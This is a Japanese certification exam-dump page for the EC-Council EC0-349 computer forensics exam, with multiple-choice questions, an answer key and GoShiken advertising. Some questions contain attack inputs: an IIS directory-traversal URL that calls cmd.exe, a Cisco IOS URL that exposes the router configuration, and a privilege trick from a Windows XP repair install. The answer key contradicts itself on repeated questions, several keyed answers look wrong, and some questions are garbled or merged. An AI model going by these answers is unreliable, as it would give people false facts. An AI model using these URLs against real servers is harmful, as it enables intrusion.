(注: 学生は、パッシブ OS フィンガープリンティング中に学習した概念、基本的な TCP/IP 接続の概念、およびスニフ ダンプからパケット署名を読み取る能力についてテストされています。)

```
03/15-20:21:24.107053 211.185.125.124:3500 -> 172.16.1.108:111 TCP TTL:43 TOS:0x0
ID:29726 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x9B6338C5 Ack: 0x5820ADD0 Win: 0x7D78
TcpLen: 32 TCP オプション (3) => NOP NOP TS: 23678634 2878772 ==+==+==+==+==+==+==+==+
+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+
03/15-20:21:24.452051 211.185.125.124:789 -> 172.16.1.103:111 UDP TTL:43 TOS:0x0
ID:29733 IpLen:20 DgmLen:84 レン: 64 01 0A 8A 0A 00 00 00 0 0 00 00 00 02 00 01 86 A0.... 00
00 00 02 00 00 00 03 00 00 00 00 00 00 00 00 00.... .....00 00 00 00 00 00 00 00 01 86 B8 00 00
00 01 .. 00 00 00 11 00 00 00 00 .... .. ==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+
+= + ==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+
03/15-20:21:24.730436 211.185.125.124:790 ->
172.16.1.103:32773 UDP TTL:43 TOS : 0x0 ID:29781 IpLen:20 DgmLen:1104 レン: 1084 47 F7
9F 63 00 00 00 00 00 00 00 02 00 01 86 B8
```

- A. 攻撃者はポート111でネットワークスweepを実行しました
- B. 攻撃者がバックドアを設置した
- C. 攻撃者はバッファオーバーフローを利用してシステムをスキャンし、悪用しました。
- D. 攻撃者はポート32773でトロイの木馬を使用しました

Answer: A ([メッセージを残す](#))

最新問題: 67

法医学調査のケースを完了しました。ケースの機密性のため、法医学研究所のさまざまなディスクに保存されているデータを破壊したいと考えています。ハード ディスク上のデータを完全に消去するにはどうすればよいでしょうか。

- A. ハードディスクの内容をジャンクデータで上書きする
- B. ハードディスクを火の中に投げ込む
- C. 低レベルのディスクユーティリティを使用してハードディスクを複数回フォーマットする
- D. 強力な磁石をハードディスクに当てる

Answer: B ([メッセージを残す](#))

最新問題: 68

あなたは、中西部の会社で侵入テストを実行しているセキュリティ アナリストです。最初の偵察の後、会社で使用されているいくつかの Cisco ルーターの IP アドレスを発見しました。ルーターの 1 つの IP アドレスを含む次の URL を入力します。

http://172.168.4.131/level/99/exec/show/config

この URL を入力すると、そのルーターの設定ファイル全体が表示されます。何がわかりましたか？

- A. URL 難読化による任意の管理アクセスの脆弱性
- B. HTTP 構成の任意の管理アクセスの脆弱性
- C. Cisco IOS の任意の管理アクセスのオンライン脆弱性
- D. HTML 構成の任意の管理アクセスの脆弱性

Answer: B ([メッセージを残す](#))

最新問題: 69

テクニカルステガノグラフィーをどのように定義しますか？

- A. JAVA 言語を使用して、キャリア内のメッセージをわかりにくい方法で隠すステガノグラフィ
- B. 物理的または化学的手段を使用してメッセージの存在を隠すステガノグラフィ
- C. 書き言葉の自然言語を利用して、メッセージをわかりにくい方法でキャリア内に隠すステガノグラフィ
- D. 視覚的なシンボルや記号を利用して秘密のメッセージを隠すステガノグラフィ

Answer: B ([メッセージを残す](#))

最新問題: 70

FAT ファイル システムを使用する Microsoft オペレーティング システムによってファイルが削除されると何が起こりますか？

- A. ファイルへの参照のみがFATから削除され、回復可能になります
- B. ファイルは消去されていますが、部分的に回復できます
- C. ファイルは消去されており、回復できません
- D. ファイルのコピーが保存され、元のファイルは消去されます

Answer: A ([メッセージを残す](#))

最新問題: 71

FAT32 ファイル システムでは、125 KB のファイルはいくつのセクターを使用しますか？

- A. 32
- B. 16
- C. 250
- D. 25

Answer: (解答を表示する)

512 バイトのセクターを使用すると仮定すると、 $125 \times 1024 / 512 = 250$ セクターが必要になります。

実は、これは FAT16 ファイル システムでも同様です。

最新問題: 72

ごみ箱は Windows デスクトップにあります。ハード ディスクからアイテムを削除すると、Windows はその削除されたアイテムをごみ箱に送信し、アイコンが空からいっぱいに変わりますが、フロッピー ディスクやネットワーク ドライブなどのリムーバブル メディアから削除されたアイテムはごみ箱に保存されません。

Vista 以降のバージョンの Windows のごみ箱のサイズ制限はどれくらいですか？

- A. 最大 3.99 GB
- B. サイズ制限なし
- C. 最大 5.99 GB
- D. 最大 4.99 GB

Answer: ([解答を表示する](#))

最新問題: 73

DHCP を使用して IP アドレスを割り当てるネットワークを調査する場合、特定の時間にどのシステム (MAC アドレス) が特定の IP アドレスを持っていたかを判断するにはどこを調べますか？

- A. DHCPサーバーのログファイル内
- B. 特定のIPアドレスを特定する方法はありません
- C. 個々のコンピュータの ARP キャッシュ個々のコンピュータの ARP キャッシュ
- D. Webサーバーのログファイル内

Answer: A ([メッセージを残す](#))

最新問題: 74

米国連邦規則によれば、法廷で証言するためには、専門家証人はその資格を証明する特定の情報を提出する必要があります。2年前に開業した有資格のコンピューターフォレンジック専門家であるジェイソンは、バージニア州リッチモンドの第4巡回区連邦控訴裁判所によってコンピューター犯罪事件での専門家証言を拒否されました。米国連邦規則を考慮すると、裁判所がジェイソンの専門家証人としての資格を拒否する最も適切な理由は何でしょうか。

- A. ジェイソンはコンピュータ犯罪に関わる法的問題について知らなかった
- B. ジェイソンはコンピューターフォレンジックの専門家であるため、コンピューター犯罪事件で証言する資格はない。
- C. ジェイソンは、この分野での4年間の経験を証明する書類を提出できなかった。
- D. ジェイソンは、自分がコンピューターフォレンジックの専門家であることを証明する書類を提出できなかった。

Answer: C ([メッセージを残す](#))

最新問題: 75

ジェームズは、ルーターが DoS 攻撃に耐えられるかどうかをテストしています。ジェームズは、ネットワークのブロードキャスト アドレスに ICMP ECHO 要求を送信します。ジェームズは、ネットワークに対してどのような種類の DoS 攻撃をテストしているのでしょうか。

- A. フラグル
- B. スマーフ

C. SYNフラッド

D. トリノ

Answer: B ([メッセージを残す](#))

Fraggle 攻撃は smurf 攻撃に似ていますが、ICMP ではなく UDP パケットを使用します。

最新問題: 76

ジョンはカナダのコンサルティング会社でコンピュータ フォレンジック調査員として働いています。彼は、ボットネット サーバーとして使用されているとされる地元の Web カフェのコンピュータを押収するよう依頼を受けました。ジョンはコンピュータを徹底的にスキャンしましたが、そのコンピュータがボットネット サーバーであると思わせるようなものは何も見つかりませんでした。ジョンは、見逃していた何かを見つけるために、コンピュータの仮想メモリをスキャンすることにしました。仮想メモリ スキャンではどのような情報が生成されるのでしょうか。

A. システムが最後にパッチ適用された日時が含まれます

B. コンピュータの仮想メモリをスキャンする必要はありません

C. すべてのシステムファイルの日付と時刻が含まれます

D. 非表示の実行中のプロセス

Answer: ([解答を表示する](#))

説明/参照:

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集溶と正解付きで **30%w**特別割引コード: **Freepdfdumps**)

最新問題: 77

ランスは自分のネットワークにハニーポットを設置したいと考えています。次のどれをお勧めしますか？

A. ルータと直接やり取りしないシステムを使用する

B. ネットワーク上で動的アドレス指定を持つシステムを使用する

C. ファイアウォールの前の外部DMZ内のシステムで使します。

D. 返信はすべて偽物なので問題ない

Answer: D ([メッセージを残す](#))

最新問題: 78

法医学調査員は、別の場所で情報を調査できるように、コンピューターから何らかのリムーバブルメディアにデータをコピーする必要があります。問題は、データのサイズが約 42 GB であることです。調査員はどのようなタイプのリムーバブルメディアを使用できますか？

イブを調べるように依頼します。あなたは、簡単なバックアップ コピーでは削除されたファイルやファイル フラグメントは取得できないことをシステム管理者に伝えます。

発見された証拠が完全であり、将来の訴訟で許容されるものであることを保証するために、どのような種類のコピーを作成する必要がありますか？

- A. 堅牢なコピー
- B. ビットストリームコピー
- C. フルバックアップコピー
- D. 増分バックアップコピー

Answer: B ([メッセージを残す](#))

最新問題: 83

ハロルドは、ジョージア州アトランタのコンサルティング会社で働くコンピュータ フォレンジック調査員です。ハロルドはフロリダ州マイアミでの企業スパイ事件の捜査に協力するよう依頼されます。ハロルドは、違法行為に使用されたとされるコンピュータからすべてのデータを取得して捜査を支援します。彼は、社内の 2 人の容疑者が企業の機密情報を盗み、それを競合企業に売っていたことを突き止めます。回収された電子メールとインスタント メッセンジャーのログから、ハロルドは、2 人の従業員が特定の一時停止標識の裏に記号を書き込んで購入者に通知していたことを突き止めました。こうして、購入者は、盗まれた資料を購入するために容疑者といつどこで会えばよいかを知ることができました。この 2 人の容疑者はどのようなステガノグラフィーを使用したのでしょうか。

- A. テキストセマグラム
- B. 視覚暗号
- C. ビジュアルセマグラム
- D. グリル暗号

Answer: C ([メッセージを残す](#))

最新問題: 84

システム BIOS パスワードをバイパスする方法は何ですか？

- A. CMOSバッテリーの取り外し
- B. システムメモリをすべて削除する
- C. Windowsにログインし、BIOSパスワードを無効にする
- D. プロセッサの取り外し

Answer: ([解答を表示する](#))

最新問題: 85

次のディレクトリリストでは、

Microsoft Outlook を使用しているユーザーのアーカイブされた電子メール メッセージを復元するには、どのファイルを使用すればよいですか？

- A. Outlook の ost
- B. Outlook バック

C. アウトルック NK2

D. Outlook の pst

Answer: D ([メッセージを残す](#))

最新問題: 86

あなたは企業の調査員として働いており、進行中の調査の一環として 15 台のハード ドライブの収集を手伝うように上司から指示を受けました。

あなたの仕事は、チームの他のメンバーが証拠を収集する際に、各証拠を適切に文書化するために必要な証拠保管フォームに記入することです。上司は、ケース全体について 1 つの複数証拠フォームと、各ハード ドライブについて 1 つの単一証拠フォームに記入するように指示しています。ケースの保管の連鎖を維持するために、これらのフォームはどのように保管されますか？

A. すべての書類は、現在事件の主な証拠となっているため、承認された安全な容器に保管する必要があります。

B. すべてのフォームは、現在事件の主な証拠となっているため、報告書ファイルに配置する必要があります。

C. 複数の証拠フォームはレポートファイルに配置し、単一の証拠フォームは各ハードドライブの承認された安全なコンテナに保管する必要があります。

D. 複数の証拠書類は、ハードドライブと一緒に承認された安全な容器に入れ、単一の証拠書類はレポートファイルに入れる必要があります。

Answer: C ([メッセージを残す](#))

最新問題: 87

社内のコンピュータ改ざん疑惑の事件を調査するために、オンサイトのインシデント対応チームが呼び出されました。調査を進める前に、CEO は、インシデントが「低レベル」に分類されることをチームに通知しました。チームはどのくらいの期間でインシデントに対応する必要がありますか？

A. 4時間

B. 直ちに

C. 2営業日

D. 1営業日

Answer: (解答を表示する)

最新問題: 88

パッチが適用されていない IIS Web サーバーでは、次の URL は何を生成しますか？

`http://www.thetargetsite.com/scripts/..% co%af../..%co%af../windows/system32/cmd.exe?/c+dir +c:\`

A. Web サーバー上の C:\windows\system32 フォルダのディレクトリ一覧

B. ウェブサーバーのC:ドライブにトロイの木馬を挿入する

C. WebサーバーのC:ドライブでバッファフローを実行します。

D. Web サーバー上の C: ドライブのディレクトリ一覧

Answer: D ([メッセージを残す](#))

最新問題: 89

システムソフトウェアのパスワードクラッキングとは、オペレーティングシステムやコンピュータを機能させるその他のユーティリティをクラッキングすることと定義されます。

- A. 偽
- B. 真実

Answer: ([解答を表示する](#)**)**

最新問題: 90

Windows XP の「修復」インストールを実行すると、どのようなセキュリティ上のリスクがありますか？

- A. Ctrl+F10を押すとユーザーに管理者権限が与えられます
- B. Windows XP の「修復」インストールを実行する場合、セキュリティ上のリスクはありません。
- C. Shift+F1を押すとユーザーに管理者権限が与えられます
- D. Shift+F10を押すとユーザーに管理者権限が与えられます

Answer: D ([メッセージを残す](#))

最新問題: 91

内部から侵入テストを実行することがなぜ良い考えなのでしょうか？

- A. 攻撃の70%は組織内部からのもの
- B. 内部から侵入テストを実行することは決して良い考えではありません
- C. 内部からハッキングする方が簡単
- D. ハッカーの視点からネットワークを攻撃する

Answer: A ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集と正解付きで **30%w**特別割引コード: **Freepdfdumps**)

最新問題: 92

新しい Macintosh オペレーティング システム (MacOS X) は次のものに基づいています。

- A. Linux
- B. BSD Unix
- C. マイクロソフトウィンドウズ
- D. OS/2

Answer: ([解答を表示する](#))

最新問題: 93

パッチが適用されていない IIS Web サーバーでは、次の URL は何を生成しますか？

`http://www.thetargetsite.com/scripts/..%`

`co%af../..%co%af../windows/system32/cmd.exe?/c+dir+c:\`

- A. Web サーバー上の C: ドライブのディレクトリ一覧
- B. Web サーバー上の C:\windows\system32 フォルダのディレクトリ一覧
- C. ウェブサーバーのC:ドライブにトロイの木馬を挿入する
- D. WebサーバーのC:ドライブでバッファフローを実行します。

Answer: A ([メッセージを残す](#))

最新問題: 94

巨大な単語リスト (辞書ファイルやブルートフォースリストなど) をパスワード ハッシュに変換するために使用されるテーブルはどれですか？

- A. マスターファイルテーブル
- B. ハッシュテーブル
- C. データベーステーブル
- D. レインボーテーブル

Answer: D ([メッセージを残す](#))

最新問題: 95

次のどれがグラフィック ファイルではありませんか？

- A. 画像3.nfo
- B. 画像2.bmp
- C. 画像1.tga
- D. 画像4.psd

Answer: A ([メッセージを残す](#))

最新問題: 96

コンピューターフォレンジック調査員が、従業員が1日24時間、週7日間勤務している大手金融機関のファイアウォール ログを検査しています。

調査員は、以下のスクリーンショットから何を推測できるでしょうか？

- A. ファイアウォールでのバッファ オーバーフロー試行。
- B. サービス拒否が試みられました
- C. ネットワーク侵入が発生しました
- D. スマートフィッシング攻撃が試みられました

Answer: C ([メッセージを残す](#))

最新問題: 97

16 進エディターでファイルを調べる場合、ファイル ヘッダーはどのくらいのスペースを占めますか？

- A. なし、ファイルヘッダーはFATに含まれています
- B. ファイルの最後の数バイト
- C. ファイルの最初の数バイト
- D. ファイルの先頭の1バイト

Answer: D ([メッセージを残す](#))

最新問題: 98

ポールは、タイラー・アンド・カンパニー・コンサルタンツに勤務するコンピュータ科学捜査官です。ポールは、地元警察によって壊滅させられたコンピュータ ハッキング リングの捜査に協力するよう依頼されました。ポールは、ハッカーの隠れ家で見つかった PC の目録を作成し始めます。その後、ポールは、ハッカーが残した、さまざまな周辺機器に接続された PDA を見つけます。捜査の完全性を確保するために、ポールが PDA で最初に取りべき手順は何でしょうか。

- A. 周辺機器の写真を撮り、記録する
- B. 接続されているすべてのデバイスを取り外します
- C. 現在オンになっているすべてのデバイスの電源をオフにする
- D. PDAをすべてのデバイスを含めて静電気防止袋に入れる

Answer: ([解答を表示する](#))

最新問題: 99

サイバー犯罪とは、銃、弾薬、またはその使用を伴うあらゆる違法行為と定義されます。

- A. 偽
- B. 真実

Answer: A ([メッセージを残す](#))

最新問題: 100

オペレーティング システムがクラスターを使用済みとしてマークしているが、どのファイルにも割り当てていない場合、そのようなクラスターは _____ と呼ばれます。

- A. 不良クラスター
- B. 未使用のクラスター
- C. 空のクラスター
- D. 失われたクラスター

Answer: D ([メッセージを残す](#))

最新問題: 101

セキュリティアナリストとして、ユーザーにユーザー名と強力なパスワードの作成を要求する偽のアンケート Web サイトを設定します。そのリンクを会社の全従業員に送信します。どのような情報を収集できるでしょうか？

- A. 従業員のコンピュータのMACアドレス

- B. 従業員のコンピュータのIPアドレス
- C. 従業員のネットワークユーザー名とパスワード
- D. 銀行口座番号と対応する支店番号

Answer: ([解答を表示する](#))

最新問題: 102

コールドブート (ハードブート) とは何ですか？

- A. すでにスリープモードになっているコンピュータを再起動するプロセスです
- B. コンピュータを電源オンまたはオンの状態からシャットダウンするプロセスです。
- C. オペレーティングシステムによって既に電源が入っているコンピュータを再起動するプロセスです。
- D. コンピュータを電源オフの状態から起動するプロセスです。

Answer: D ([メッセージを残す](#))

最新問題: 103

キンバリーさんは、地元の専門学校で IT セキュリティ アナリストになるために勉強しています。この学校では、さまざまなプログラミング言語やネットワーク言語が教えられています。ルーターが使用するどのネットワーク プロトコル言語を学ぶべきでしょうか。

- A. UDP
- B. 現時点では
- C. OSPF
- D. BPG

Answer: ([解答を表示する](#))

最新問題: 104

あなたはコンピュータフォレンジック調査員として働いており、会計事務所のオーナーから、会社の従業員によるコンピュータ不正使用の可能性を調査するよう依頼されました。会社のオーナーと会って、会社がコンピュータ資産を自由に検査する権利を留保するというポリシーを一度も公表していないことを知りました。あなたはどのようにしますか？

- A. ポリシーなしで調査を行うことは従業員のプライバシーの期待に反することをオーナーに通知する
- B. 会社は個人所有であるため、ポリシーなしで調査を実施しても問題ないことを所有者に通知します。
- C. ポリシーなしで調査を行うことは憲法修正第4条に違反することを所有者に通知する
- D. ポリシーは政府機関にのみ必要なので、ポリシーなしで調査を実施しても問題ないことを所有者に通知します。

Answer: A ([メッセージを残す](#))

最新問題: 105

ジョーンズは過去 2 週間、リモート プロダクション システムに侵入しようとしていました。しかし今回は、システムへの侵入に成功しました。彼は 3 週間にわたってシステムを使用できました。しかし、法執行機関は彼のすべての活動を記録しており、後にこれが証拠として提出されました。組織はジョーンズを罠にかけるために仮想環境を使用していました。仮想環境とは何ですか？

- A. トロイの木馬コマンドを使用するシステム
- B. ユーザーがログインした後に設定される環境
- C. ユーザーがログインする前に設定される環境
- D. ハッカーを捕らえるハニーポット

Answer: D ([メッセージを残す](#))

最新問題: 106

調査中に、従業員が他人に送信した嫌がらせメールを削除したことが判明しました。その会社は Microsoft Exchange を使用しており、メッセージ追跡が有効になっていました。調査員は Exchange サーバー上のメッセージ追跡ログ ファイルをどこで検索すればよいのでしょうか？

- A. C:\Exchsrvr\Message Tracking\servername.log
- B. C:\Program Files\Microsoft Exchange\srvt\servername.log
- C. D:\Exchsrvr\メッセージ追跡\サーバー名.log
- D. C:\Program Files\Exchsrvr\サーバー名.log

Answer: D ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>

(**49030%OFF**問題集溶と正解付きで **30%w** 特別割引コード: **Freepdfdumps**)

最新問題: 107

ジャック・スミスはメイソン・コンピュータ調査サービスに勤務する法医学調査員です。彼はラームウェアに感染したコンピュータを調査しています。

彼はマシン上で netstat コマンドを実行し、現在の接続を確認します。次のスクリーンショットで、IP アドレス 0.0.0.0 は何を意味していますか？

- A. これらの接続は確立されています A.これらの接続は確立されています A.これらの接続は確立されています
- B. これらの接続は閉じた/待機モードです C.これらの接続は閉じた/待機モードです C.これらの接続は閉じた/待機モードです
- C. これらの接続はリスニングモードです B.これらの接続はリスニングモードです B.これらの接続はリスニングモードです

D. これらの接続はタイムアウト/待機モードです D. これらの接続はタイムアウト/待機モードです
D. これらの接続はタイムアウト/待機モードです

Answer: C ([メッセージを残す](#))

最新問題: 108

アイドル スキャンには、Windows コンピュータよりも Linux/Unix ベースのコンピュータの方が適しているのはなぜですか？

- A. Linux/Unix コンピュータは侵入されやすい
- B. Windows コンピュータは常に通信しています
- C. Windows コンピュータはアイドル スキャンに応答しません
- D. Linux/Unix コンピュータは常に通信している

Answer: B ([メッセージを残す](#))

最新問題: 109

ジョーンズ氏は過去2週間にわたり、リモート制作システムへの侵入を試みていた。しかし、今回は彼はシステムに入り込むことができ、3週間にわたってシステムを使用することができました。しかし、法執行機関は彼のすべての活動を記録しており、これは後に証拠として提出されました。組織はジョーンズを罠にかけするために仮想環境を使用していました。仮想環境とは何でしょうか？

- A. ハッカーを捕らえるハニーポット
- B. ユーザーがログインした後に設定される環境
- C. ユーザーがログインする前に設定される環境
- D. トロイの木馬コマンドを使用するシステム

Answer: A ([メッセージを残す](#))

最新問題: 110

ICMP タイプ 3/コード 13 とはどういう意味ですか？

- A. プロトコルに到達できません
- B. ポートに到達できません
- C. ホストに到達できません
- D. 管理上ブロックされています

Answer: D ([メッセージを残す](#))

最新問題: 111

あなたは、中西部の会社で侵入テストを実行しているセキュリティ アナリストです。最初の偵察の後、会社で使用されているいくつかの Cisco ルーターの IP アドレスを発見しました。ルーターの 1 つの IP アドレスを含む次の URL を入力します。

http://172.168.4.131/level/99/exec/show/config

この URL を入力すると、そのルーターの設定ファイル全体が表示されます。

何を発見しましたか？

- A. HTML 構成の任意の管理アクセスの脆弱性
- B. Cisco IOS の任意の管理アクセスのオンライン脆弱性
- C. HTTP 構成の任意の管理アクセスの脆弱性
- D. URL 難読化による任意の管理アクセスの脆弱性

Answer: C ([メッセージを残す](#))

最新問題: 112

項目 2 顧客のサイトでシープディップ マシンを見つけた場合、何を推測しますか？

- A. シープディップは複数のハニーポットを調整します
- B. シープディップコンピュータはハニーポットの別名です
- C. シープディップコンピュータはサービス拒否攻撃を遅らせます
- D. sheepdip コンピュータはウイルスチェックにのみ使用されます。

Answer: D ([メッセージを残す](#))

最新問題: 113

犯罪現場で電源が切れたコンピュータを扱う際は、コンピュータの電源が切れている場合は電源を入れてください。

- A. 偽
- B. 真実

Answer: ([解答を表示する](#))

最新問題: 114

Linux のスーパーブロックは何を定義しますか？

- A. ファイル名
- B. 利用可能なスペース
- C. firstinode の場所
- D. ディスクジオメトリ

Answer: C ([メッセージを残す](#))

最新問題: 115

次のネットワーク攻撃のうち、メールボックスをオーバーフローさせようとしたり、電子メールアドレスがホストされているサーバーを圧倒してサービス拒否攻撃を引き起こしたりするために、大量の電子メールを特定のアドレスに送信することを指すものはどれですか。

- A. メールスパム
- B. フィッシング
- C. メールのなりすまし
- D. メール爆撃

Answer: ([解答を表示する](#))

最新問題: 116

スミスは、法医学調査の一環として、モバイルデバイスを押収しました。彼は、モバイルデバイスの加入者識別モジュール (SIMカード) データを回復するように依頼されました。スミスは、SIMが個人識別番号 (PIN) コードで保護されていることを発見しましたが、人々は通常、PIN番号をデフォルトのままにするか、または次のような簡単に推測できる番号を使用することも知っていました。

1234. SIM カードをブロックする 3 つの PIN 番号を試しましたが、失敗しました。このシナリオで Jason が PIN をリセットして SIM データにアクセスするにはどうすればよいですか？

- A. SIMカードにアクセスするには、ネットワークオペレーターに個人ロック解除番号 (PUK) を問い合わせる必要があります。
- B. このシナリオでは、ネットワークオペレータやデバイスメーカーはデバイスのPINIについて何も知らないため、SIMデータにアクセスすることはできません。
- C. 24時間後に再度PINの推測を試みる必要がある
- D. SIMカードにアクセスするには、デバイスの製造元に連絡して一時ロック解除コード (TUK) を取得する必要があります。

Answer: A ([メッセージを残す](#))

最新問題: 117

Linux で、可能な限り小さいシェルコードは何ですか？

- A. 24 バイト
- B. 800 バイト
- C. 80 バイト
- D. 8 バイト

Answer: A ([メッセージを残す](#))

最新問題: 118

警告バナーの使用は、従業員の想定を克服し、企業が訴訟を回避するのに役立ちます。

_____。会社のイントラネット、ネットワーク、または仮想プライベートネットワーク (VPN) に接続すると、会社の調査員がネットワーク内に保存されている情報を監視、検索、取得できるようになります。

- A. 労働の権利
- B. 言論の自由の権利
- C. プライバシーの権利
- D. インターネットアクセス権

Answer: C ([メッセージを残す](#))

最新問題: 119

Terri は、現在東京の First National Bank で侵入テストを実施しているセキュリティ コンサルティング会社で働いています。Terri の職務には、ファイアウォールとスイッチをバイパスしてネットワークにアクセスする作業が含まれます。Terri は、ACK ビットと自分のマシンの送信元ア

ドレスが設定された IP パケットを会社のスイッチの 1 つに送信します。Terri はこの IP パケットを送信することで何を実現しようとしているのでしょうか。

- A. スwitchを騙して、テリのコンピュータとのセッションがすでにあると思わせる
- B. スwitchのMACアドレステーブルをACKビットでフラッディングして汚染する
- C. スwitchはACKビットを送信できないため、DoS攻撃でスswitchをクラッシュさせる
- D. スwitchのトンネリング機能を有効にする

Answer: A ([メッセージを残す](#))

説明/参照:

最新問題: 120

この組織は、既知のソフトウェアのハッシュ署名のデータベースを管理しています。

- A. 電気電子技術者協会
- B. 国立ソフトウェアリファレンスライブラリ
- C. 国際標準化機構
- D. アメリカ国家規格協会

Answer: ([解答を表示する](#))

最新問題: 121

次のコマンドのどれが NetBIOS 名テーブルを表示しますか？

- A. nbtstat -n
- B. nbtstat -s
- C. nbtstat -r
- D. nbtstat -c

Answer: A ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(~~49030%OFF~~問題集溶と正解付きで 30%w 特別割引コード: **Freepdfdumps**)

最新問題: 122

ジョンとヒラリーは、会社の同じ部署で働いています。ジョンは、ファイル サーバー上のヒラリーの文書を見るために、ヒラリーのネットワーク パスワードを知りたいと考えています。彼は、Lophtcrack プログラムをスニффイング モードに有効にします。ジョンは、エラー! 参照元が見つかりませんへのリンクを含む電子メールをヒラリーに送信します。ジョンは、このことからどのような情報を収集できるのでしょうか。

- A. ヒラリーのコンピュータからのSAMファイル

- B. ヒラリーが権限を持つネットワーク共有
- C. ヒラリーネットワークアカウントのSID
- D. ヒラリーネットワークのユーザー名とパスワードのハッシュ

Answer: D ([メッセージを残す](#))

最新問題: 123

CEH 試験に合格した後、Carol はネットワークが完全に安全であることを確認したいと考えました。彼女は、DMZ、ステートフル ファイアウォール、NAT、IPSEC、およびパケット フィルタリング ファイアウォールを実装しました。すべてのセキュリティ対策が講じられたため、ネットワーク上のどのホストもインターネットにアクセスできません。

何故ですか？

- A. NATはステートフルファイアウォールでは動作しません
- B. ステートフルファイアウォールはパケットフィルタリングファイアウォールでは動作しません
- C. NATはIPSECでは動作しません
- D. IPSEC はパケットフィルタリングファイアウォールでは動作しません

Answer: ([解答を表示する](#)**)**

最新問題: 124

Harold はネットワークにファイアウォールを設定したいと考えていますが、どれが最も適切かわかりません。ネットワーク上のサーバーの 1 つへの FTP トラフィックを許可する必要があることはわかっていますが、FTP-PUT のみを許可したいと考えています。

Harold のニーズに最も適したファイアウォールはどれでしょうか？

- A. データリンク層ファイアウォール
- B. パケットフィルタリングファイアウォール
- C. アプリケーションレベルのプロキシファイアウォール
- D. 回線レベルのプロキシファイアウォール

Answer: C ([メッセージを残す](#))

最新問題: 125

パスワードを解読するために実行する必要がある最初の手順は何ですか？

- A. 辞書の単語リストはハッシュ化または暗号化されています
- B. 一致した場合、そのパスワードは解読されており、パスワードクラッカーはパスワードの暗号化されていないバージョンを表示します。
- C. ハッシュ化された単語リストは、通常1単語ずつ、対象のハッシュ化されたパスワードと比較されます。
- D. 辞書生成プログラムまたは辞書を使用して単語リストが作成されます

Answer: D ([メッセージを残す](#))

最新問題: 126

ディスク ドライブ内のディスクは高速で回転し、ディスク ドライブ内のヘッドはデータの読み取りにのみ使用されます。

A. 真実

B. 偽

Answer: B ([メッセージを残す](#))

最新問題: 127

ハロルドは、ジョージア州アトランタのコンサルティング会社に勤務するコンピューター科学捜査官です。ハロルドはフロリダ州マイアミでの企業スパイ事件の捜査に協力するよう依頼されます。

ハロルドは、違法行為に使用されたとされるコンピューターからすべてのデータを抽出して捜査に協力しました。彼は、社内の 2 人の容疑者が企業の機密情報を盗み、それを競合企業に売っていたことを突き止めました。回収された電子メールとインスタント メッセンジャーのログから、ハロルドは、2 人の従業員が特定の一時停止標識の裏に記号を書き込んで購入者に通知していたことを突き止めました。こうすることで、購入者は、盗まれた資料を購入するために容疑者といつどこで会えばよいかを知ることができました。この 2 人の容疑者はどのようなステガノグラフィーを使用したのでしょうか。

A. テキストセマグラム

B. グリル暗号

C. 視覚暗号

D. ビジュアルセマグラム

Answer: D ([メッセージを残す](#))

最新問題: 128

Harold はセキュリティ アナリストで、rdisk /s コマンドを実行してコンピューター上のバックアップ SAM ファイルを取得しました。ファイルを見つけるには、Harold はコンピューターのどこを移動すればよいのでしょうか。

A. %systemroot%\system32\LSA

B. %systemroot%\system32\drivers\etc

C. %systemroot%\repair

D. %systemroot%\LSA

Answer: ([解答を表示する](#))

最新問題: 129

偽装された IP アドレスを持つターゲット システムに SYN 要求を送信する攻撃の種類は何ですか？

A. クロスサイトスクリプティング

B. SYNフラッド

C. 死の音

D. 土地

Answer: B ([メッセージを残す](#))

最新問題: 130

あなたは大手衣料品メーカーでコンピューター フォレンジック調査員として働いており、従業員が会社から衣料品のデザインを盗み、別の会社で別のブランド名で販売している可能性があるという珍しいケースの調査を依頼されます。調査の過程で、衣料品のデザインは実際には従業員のオリジナル製品であり、会社には従業員が私用時間に自分のデザインを販売することを禁止するポリシーがないことがわかりました。従業員が不正行為をしている唯一の点は、彼の衣料品のデザインに会社のものと同じグラフィック シンボルが組み込まれており、グラフィックの文言だけが異なっているという点です。

従業員は法律のどの分野に違反しているのでしょうか？

- A. 印刷権法
- B. ブランドマーク法
- C. 著作権法
- D. 商標法

Answer: D ([メッセージを残す](#))

最新問題: 131

最大 54 Mbps の帯域幅を持ち、約 5 GHz の規制された周波数スペクトルで信号を送信する無線規格はどれですか？

- A. 802.11a
- B. 802.11i
- C. 802.11g
- D. 802.11b

Answer: ([解答を表示する](#)**)**

最新問題: 132

セキュリティの脆弱性がないか確認するために、ネットワーク上で一連のテストを実行しています。

通常の勤務時間後に、外部ファイアウォールに対して DoS 攻撃を開始します。ファイアウォールはすぐにフリーズし、使用できなくなります。次に、外部 IP から内部ネットワークへの FTP 接続を開始します。外部ファイアウォールで FTP がブロックされているにもかかわらず、接続は成功します。何が起こったのでしょうか？

